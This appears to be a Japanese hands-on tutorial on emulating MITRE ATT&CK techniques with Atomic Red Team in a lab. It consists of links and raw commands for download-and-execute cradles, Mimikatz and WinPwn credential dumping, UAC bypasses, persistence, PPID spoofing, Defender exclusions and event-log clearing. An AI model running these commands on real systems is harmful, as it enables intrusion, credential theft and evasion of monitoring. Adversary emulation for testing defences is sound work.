【サイバーセキュリティ ハンズオン】敵対的コマンド・スクリプト入門（MITRE ATT&CK実装編）

https://attack.mitre.org/

https://image.itmedia.co.jp/l/im/ait/articles/2207/21/l_news003_01.png

https://www.exabeam.com/ja/explainers/mitre-attck/cyber-kill-chain-vs-mitre-attck-4-key-differences-and-synergies/

https://github.com/redcanaryco/atomic-red-team

https://github.com/mitre/caldera

https://dev.classmethod.jp/articles/atomic-red-team_t1003-001/

https://atomicredteam.io/

https://www.youtube.com/watch?v=UaLK3YAYT0A

https://help.docbase.io/posts/13697

https://progkeiyou.com/markdown-viewer/

https://github.com/redcanaryco/atomic-red-team/blob/master/LICENSE.txt

https://iwannacreateapps.com/misc/vmware-workstation-pro/#toc_id_1

https://support.broadcom.com/

https://support.broadcom.com/group/ecx/productdownloads?subfamily=VMware+Workstation+Pro

https://tipstour.net/windows-iso-download-from-official-site

https://www.partitionwizard.jp/partitionmanager/win10-iso-for-virtualbox-vmware.html

https://object-lab.co.jp/2022/05/16/windows10-の新規インストール手順/

https://info.microsoft.com/ww-landing-windows-server-2019.html?lcid=ja

https://inab818.site/vmware/vmware-workstation-player-microsoft-windows-server-2019-download-install/

https://www.server-world.info/query?os=Windows_Server_2019&p=install

https://www.server-world.info/query?os=Windows_Server_2019#google_vignette

ipconfig /all | more

ping <WindowsのIPアドレス>

https://learn.microsoft.com/ja-jp/powershell/scripting/powershell-commands?view=powershell-7.4

https://www.youtube.com/watch?v=_xW3fAumh1c

https://www.youtube.com/watch?v=-HEx-qfd54M&list=PL92eUXSF717W9TCfZzLca6DmlFXFIu8p6&index=1

https://github.com/redcanaryco/invoke-atomicredteam/

Install-Module -Name invoke-atomicredteam, powershell-yaml -Scope CurrentUser

get-executionpolicy

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser

IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing);

Install-AtomicRedTeam -getAtomics -Force

import-module "C:\atomicredteam\invoke-atomicredteam\invoke-atomicredteam.psd1"

https://www.gigafree.net/system/os/Rufus.html

https://rufus.ie/ja/

https://attack.mitre.org/techniques/T1078/003/

invoke-atomictest T1078.003 -showdetailsbrief

invoke-atomictest T1078.003 –checkprereqs

invoke-atomictest T1078.003

https://github.com/ParrotSec/mimikatz

https://gintachan.com/mimikatz-hash-dump/

net user art-test #{password} /add

net localgroup administrators art-test /add

net localgroup administrators

net localgroup administrators art-test /delete >nul 2>&1

net user art-test /delete >nul 2>&1

https://github.com/S3cur3Th1sSh1t/WinPwn

https://github.com/avborup/kitty/releases/latest/download/kitty-x86_64-unknown-linux-gnu

$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')

obfuskittiedump -consoleoutput -noninteractive

https://github.com/GhostPack/SafetyKatz

$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')

obfuskittiedump -consoleoutput -noninteractive

https://github.com/GhostPack/SafetyKatz

$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')

safedump -consoleoutput -noninteractive

https://attack.mitre.org/techniques/T1133/

https://support.google.com/chrome/a/answer/7532015?hl=JA

invoke-atomictest T1133 -showdetailsbrief

invoke-atomictest T1133 –checkprereqs

invoke-atomictest T1133

./VPN.ps1

$extList = #{extension_id}

foreach ($extension in $extList) { Remove-Item -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -ErrorAction Ignore}

https://attack.mitre.org/techniques/T1566/001/

invoke-atomictest T1566.001 -showdetailsbrief

invoke-atomictest T1566.001 –checkprereqs

invoke-atomictest T1566.001

$url = 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1566.001/bin/PhishingAttachment.xlsm’

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

Invoke-WebRequest -Uri $url -OutFile $env:TEMP\PhishingAttachment.xlsm

Remove-Item $env:TEMP\PhishingAttachment.xlsm –ErrorAction Ignore

https://www.wireshark.org/download.html

https://qiita.com/yasushi-jp/items/7cacbe6089c760ad4202

try {

　New-Object -COMObject "#{ms_product}.Application" | Out-Null

　$process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}

　Stop-Process -Name $process

　exit 0

} catch { exit 1 }

Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)

$macrocode = " Open `"#{jse_path}`" For Output As #1`n Write #1,`"WScript.Quit`"`n Close #1`n Shell`$ `"ping 8.8.8.8`"`n"

Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"

https://www.file-extension.org/ja/extensions/jse#google_vignette

Remove-Item #{jse_path} -ErrorAction Ignore

https://attack.mitre.org/techniques/T1047

https://www.manageengine.jp/products/OpManager/wmi-monitoring.html

invoke-atomictest T1047 -showdetailsbrief

https://www.cybereason.co.jp/blog/security/8909/#:~:text=Rundll32.exe

invoke-atomictest 1047 –checkprereqs

invoke-atomictest 1047 –getprereqs

http://tightvnc.com/download.php

invoke-atomictest T1047 –getprereqs

invoke-atomictest T1047

wmic useraccount get /ALL /format:csv

wmic process get caption,executablepath,commandline /format:csv

wmic qfe get description,installedOn /format:csv

wmic /node:127.0.0.1 service where (caption like “%spooler%")

wmic process call create #{process_to_execute}

wmic process where name='#{process_to_execute}' delete >nul 2>&1

wmic /node:“#{node}” /user:#{user_name} /password:#{password} process call create #{process_to_execute}

https://www.secuavail.com/kb/tech-blog/tb-190902_01/

https://qiita.com/arachan@github/items/707ba05befb2d5a5a81a

https://qiita.com/Okura_/items/496cdd1b8a022c99d3f3

wmic /node:“#{node}”/user:#{user_name} /password:#{password} process where name='#{process_to_execute} ' delete >nul 2>&1

powershell -exec bypass -e SQBuAHYAbwBrAGUALQBXAG0AaQBNAGUAdABoAG8AZAAgAC0AUABhAHQAaAAgAHcAaQBuADMAMgBfAHAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIABjAHIAZQBhAHQAZQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABuAG8AdABlAHAAYQBkAC4AZQB4AGUA

$Class = New-Object Management.ManagementClass(New-Object Management.ManagementPath ("Win32_Process"))

$NewClass = $Class.Derive("#{new_class}")

$NewClass.Put()

Invoke-WmiMethod -Path #{new_class} -Name create -ArgumentList #{process_to_execute}

$CleanupClass = New-Object Management.ManagementClass (New-Object Management.ManagementPath("#{new_class}"))

try { $CleanupClass.Delete() } catch {}

http://k-takata.o.oo7.jp/mysoft/startw.html

if (Test-Path "#{dll_to_execute}") {exit 0} else {exit 1}

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null

Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1047/bin/calc.dll?raw=true" -OutFile "#{dll_to_execute}"

wmic /node:#{node} process call create "rundll32.exe \"#{dll_to_execute}\" #{function_to_execute}"

taskkill /f /im \"#{dll_to_execute}\"

if ((Test-Path "C:\Program Files\TightVNC\tvnviewer.exe") -Or (Test-Path "C:\Program Files (x86)\TightVNC\tvnviewer.exe")) {exit 0} else {exit 1}

Invoke-WebRequest 'https://www.tightvnc.com/download/2.8.63/tightvnc-2.8.63-gpl-setup-64bit.msi' -OutFile "PathToAtomicsFolder\..\ExternalPayloads\tightvncinstaller.msi"

start-sleep -s 10

msiexec /i "PathToAtomicsFolder\..\ExternalPayloads\tightvncinstaller.msi" /qn /norestart

start-sleep -s 15

wmic /node:"#{node}" product where "name like '#{product}%%'" call uninstall

msiexec /i "C:\AtomicRedTeam\ExternalPayloads\tightvncinstaller.msi" /qn /norestart

https://attack.mitre.org/techniques/T1059/001

invoke-atomictest 1059.001 -showdetailsbrief

invoke-atomictest 1059.001 –checkprereqs

invoke-atomictest 1059.001 –getprereqs

invoke-atomictest T1059.001

https://github.com/ParrotSec/mimikatz

https://gintachan.com/mimikatz-hash-dump/

https://github.com/BloodHoundAD/BloodHound

https://devblog.lac.co.jp/entry/20231012

https://github.com/BloodHoundAD/SharpHound

https://support.bloodhoundenterprise.io/hc/en-us/articles/17481375424795-All-SharpHound-Community-Edition-Flags-Explained

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}');Invoke-Mimikatz -DumpCreds"

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1

if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1") {exit 0} else {exit 1}

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null

Invoke-WebRequest "https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"

import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"

try { Invoke-BloodHound -OutputDirectory $env:Temp } catch { $_; exit $_.Exception.HResult}

Remove-Item $env:Temp\*BloodHound.zip -Force

https://bloodhound.readthedocs.io/en/latest/installation/windows.html

https://learn.microsoft.com/en-us/java/openjdk/download#openjdk-11

https://dist.neo4j.org/neo4j-community-4.4.32-windows.zip

neo4j.bat install-service

net start neo4j

http://localhost:7474/

https://github.com/BloodHoundAD/BloodHound/releases

Enable-PSRemoting

net start WinRM

set-item WSMan:\localhost\Client\TrustedHosts -Value “サーバPCのIPアドレス"

Get-Item WSMan:\localhost\Client\TrustedHosts

https://zenn.dev/haretokidoki/articles/fd1eeb92fa4095

Enable-PSRemoting

https://atmarkit.itmedia.co.jp/ait/articles/1012/24/news127.html

New-PSSession -ComputerName #{hostname_to_connect}

Test-Connection $env:COMPUTERNAME

Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"

Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use

Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use

./T1059.001-12attack.ps1

Get-ExecutionPolicy –list

Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass

https://kondeneenen.com/powershell_digitalsignature/

https://attack.mitre.org/techniques/T1569/002

invoke-atomictest T1569.002 -showdetailsbrief

invoke-atomictest T1569.002 –checkprereqs

invoke-atomictest T1569.002 –getprereqs

invoke-atomictest T1569.002

sc.exe create #{service_name} binPath= "#{executable_command}"

sc.exe start #{service_name}

sc.exe delete #{service_name}

del C:\art-marker.txt >nul 2>&1

https://learn.microsoft.com/ja-jp/sysinternals/downloads/psexec

https://learn.microsoft.com/ja-jp/sysinternals/downloads/pstools

if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") { exit 0} else { exit 1}

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null

Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"

Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force

Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force

"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{remote_host} -u #{user_name} -p #{password} -i cmd.exe

https://www.cybereason.co.jp/blog/malware/7109/

http://maruyama-mitsuhiko.cocolog-nifty.com/security/2023/05/post-47dc99.html

sc.exe create "WerFaultSvc" binPath= "$env:windir\WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe" DisplayName= "WerFault Service" start= auto

sc.exe delete "WerFaultSvc"

https://attack.mitre.org/techniques/T1053/005/

invoke-atomictest T1053.005 -showdetailsbrief

invoke-atomictest T1053.005 -checkprereqs

Add-MpPreference -ExclusionPath "PathToAtomicsFolder\..\ExternalPayloads\"

invoke-atomictest T1053.005 -getprereqs

invoke-atomictest T1053.005

https://learn.microsoft.com/ja-jp/windows-server/administration/windows-commands/schtasks

schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"

schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"

schtasks /delete /tn "T1053_005_OnLogon" /f >nul 2>&1

schtasks /delete /tn "T1053_005_OnStartup" /f >nul 2>&1

SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN  "Atomic task" /TR “#{task_command}” SC/daily /ST #{time}

SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password} /TN "Atomic task" /F >nul 2>&1

https://learn.microsoft.com/ja-jp/sysinternals/downloads/psexec

https://github.com/netero1010/GhostTask

https://micahbabinski.medium.com/hunting-g-g-g-ghosttasks-154b50ab6a78

if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") { exit 0} else { exit 1}

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null

Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"

Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force

Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force

"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -i -s -accepteula "cmd.exe"

whoami /user

if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe") { exit 0} else { exit 1}

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null

Invoke-WebRequest "https://github.com/netero1010/GhostTask/releases/download/1.0/GhostTask.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe"

"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" localhost add #{task_name} "cmd.exe" "/c echo This_is_an_evidence_of_executing_GhostTask! > GhostTask.txt && task_command} GhostTask.txt" #{user_name} logon

get-scheduledtask -taskpath \

"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -i -s -accepteula "cmd.exe"

"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" localhost delete #{task_name} > nul

https://attack.mitre.org/techniques/T1547/001/

invoke-atomictest 1547.001 -showdetailsbrief

invoke-atomictest T1547.001 -checkprereqs

invoke-atomictest T1547.001

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V “NotePad" /t REG_SZ /F /D "#{command_to_execute}"

REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V “NotePad" /f >nul 2>&1

Copy-Item "$PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"

Copy-Item "$PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"

cscript.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"

cscript.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"

Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs" -ErrorAction Ignore

Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs" -ErrorAction Ignore

$Target = "C:\Windows\System32\calc.exe"

$ShortcutLocation = "$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc_exe.lnk"

$WScriptShell = New-Object -ComObject WScript.Shell

$Create = $WScriptShell.CreateShortcut($ShortcutLocation)

$Create.TargetPath = $Target

$Create.Save()

Remove-Item "$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc_exe.lnk" -ErrorAction Ignore

https://news.mynavi.jp/techplus/article/20220123-2253347/2

https://conit.blog.jp/archives/15496192.html

reg ADD "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open\command" /ve /d "calc.exe" /f

reg DELETE "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open" /f

https://attack.mitre.org/techniques/T1134/001/

https://atmarkit.itmedia.co.jp/fwin2k/tutor/winsecurity01/winsecurity01_03.html

invoke-atomictest T1134.001 -showdetailsbrief

invoke-atomictest T1134.001 –checkprereqs

invoke-atomictest T1134.001 –getprereqs

invoke-atomictest T1134.001

https://devblog.lac.co.jp/entry/20240209

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose

https://softaro.net/nsudo/

if (Test-Path "#{nsudo_path}") {exit 0} else {exit 1}

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null

Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components.zip" "https://github.com/M2Team/NSudo/releases/download/8.2/NSudo_8.2_All_Components.zip"

Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components" -

Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components\NSudo Launcher\x64\NSudoLG.exe" "#{nsudo_path}"

Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components.zip" -Recurse -ErrorAction Ignore

Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components" -Recurse -ErrorAction Ignore

Start-Process "#{nsudo_path}" -Argument "-U:T -P:E cmd"

Start-Sleep -Second 5

Stop-Process -Name "cmd" -force -erroraction silentlycontinue

whoami

https://github.com/BeichenDream/BadPotato

if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\BadPotato.exe") {exit 0} else {exit 1}

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null

Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\BadPotato.exe" "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1134.001/

bin/BadPotato.exe?raw=true"

cd "PathToAtomicsFolder\..\ExternalPayloads"

Start-Process .\BadPotato.exe notepad.exe

Start-Sleep -Second 20

Stop-Process -Name "notepad" -force -erroraction silentlycontinue

Stop-Process -Name "BadPotato" -force -erroraction silentlycontinue

taskkill /f /im notepad.exe

https://attack.mitre.org/techniques/T1134/004/

invoke-atomictest T1134.004 -showdetailsbrief

invoke-atomictest T1134.004 –checkprereqs

invoke-atomictest T1134.004 –getprereqs

invoke-atomictest T1134.004

if (Test-Path "#{dll_path}") {exit 0} else {exit 1}

New-Item -Type Directory (split-path "#{dll_path}") -ErrorAction ignore | Out-Null

Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1134.004/bin/calc.dll" -OutFile "#{dll_path}"

if (Test-Path "$PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1") {exit 0} else {exit 1}

New-Item -Type Directory (split-path "$PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1") -ErrorAction ignore | Out-Null

Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1134.004/src/PPID-Spoof.ps1" -OutFile "$PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1"

."$PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1"

$ppid=Get-Process #{parent_process_name} | select -expand id

PPID-Spoof –ppid $ppid -spawnto "#{spawnto_process_path}" -dllpath "#{dll_path}"

Stop-Process -Name "#{dll_process_name}" -ErrorAction Ignore

Stop-Process -Name "#{spawnto_process_name}" -ErrorAction Ignore

$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands ['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}

Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force

https://www.powershellgallery.com/packages

https://qiita.com/SharePoint_X/items/29af16545ef640e478df

Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force

Start-ATHProcessUnderSpecificParent -FilePath #{file_path} –CommandLine '#{command_line}' -ParentId #{parent_pid}

$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands ['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}

Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force

Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter "Name = 'svchost.exe' AND CommandLine LIKE '%'" | Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'

$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands ['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}

Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force

Start-Process -FilePath #{parent_name} -PassThru | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'

https://attack.mitre.org/techniques/T1548/002/

invoke-atomictest T1548.002 -showdetailsbrief

invoke-atomictest T1548.002 –checkprereqs

https://github.com/hfiref0x/UACME

invoke-atomictest T1548.002 –getprereqs

invoke-atomictest T1548.002

https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/

reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "#{executable_binary}" /f

cmd.exe /c eventvwr.msc

reg.exe delete hkcu\software\classes\mscfile /f >nul 2>&1

cmd.exe /c eventvwr.msc

reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 1 /f

$tempPath = cmd /c echo #{uacme_exe}

if (Test-Path "$tempPath") {exit 0} else {exit 1}

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null

Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip"

Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force

Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force

"C:\AtomicRedTeam\ExternalPayloads\uacme\23 Akagi64.exe"

powershell Stop-Process -Name cmd -Force -ErrorAction Ignore

powershell Stop-Process -Name mmc -Force -ErrorAction Ignore

https://github.com/S3cur3Th1sSh1t/WinPwn

$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')

UACBypass -noninteractive -command "C:\windows\system32\cmd.exe" -technique magic

https://github.com/hjc4869/UacBypass

reg add "HKLM\SOFTWARE\Microsoft\Security Center" /v UACDisableNotify /t REG_DWORD /d 1 /f

reg add "HKLM\SOFTWARE\Microsoft\Security Center" /v UACDisableNotify /t REG_DWORD /d 0 /f

https://attack.mitre.org/techniques/T1070/001

cd C:\Windows\System32\winevt\Logs

dir > Eventlog.txt

notepad.exe Eventlog.txt

invoke-atomictest T1070.001 -showdetailsbrief

invoke-atomictest T1070.001 –checkprereqs

invoke-atomictest T1070.001

cd C:\Windows\System32\winevt\Logs

dir

wevtutil cl #{log_name}

$logs = Get-EventLog -List | ForEach-Object {$_.Log}

$logs | ForEach-Object {Clear-EventLog -LogName $_ }

Get-EventLog -list

https://attack.mitre.org/techniques/T1197/

https://learn.microsoft.com/ja-jp/windows/win32/bits/background-intelligent-transfer-service-portal

https://jpcertcc.github.io/ToolAnalysisResultSheet_jp/details/BITS.htm

invoke-atomictest T1197 -showdetailsbrief

invoke-atomictest T1197 –checkprereqs

invoke-atomictest T1197

https://qiita.com/nopasanada/items/5b3ebc4241fa322e82cb

bitsadmin.exe /transfer /Download /priority Foreground #{remote_file} #{local_file}

del #{local_file} >nul 2>&1

Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination #{local_file}

Remove-Item #{local_file} -ErrorAction Ignore

bitsadmin.exe /create #{bits_job_name}

bitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file}

bitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} NULL

bitsadmin.exe /resume #{bits_job_name}

ping -n 5 127.0.0.1

bitsadmin.exe /complete #{bits_job_name}

del #{local_file} >nul 2>&1

https://attack.mitre.org/techniques/T1562/009

invoke-atomictest T1562.009 -showdetailsbrief

invoke-atomictest T1562.009 –checkprereqs

invoke-atomictest T1562.009

bcdedit /set safeboot network

bcdedit /deletevalue {current} safeboot

https://xtech.nikkei.com/atcl/nxt/mag/nnw/18/111900071/012200015/

https://www.pc-koubou.jp/magazine/40168

https://attack.mitre.org/techniques/T1564/003

invoke-atomictest T1564.003 -showdetailsbrief

invoke-atomictest T1564.003 –checkprereqs

invoke-atomictest T1564.003

Start-Process"#{script_path}"

https://fuji44.medium.com/windowsでウインドウを表示しないスクリプトの実行方法-1c3b6f934274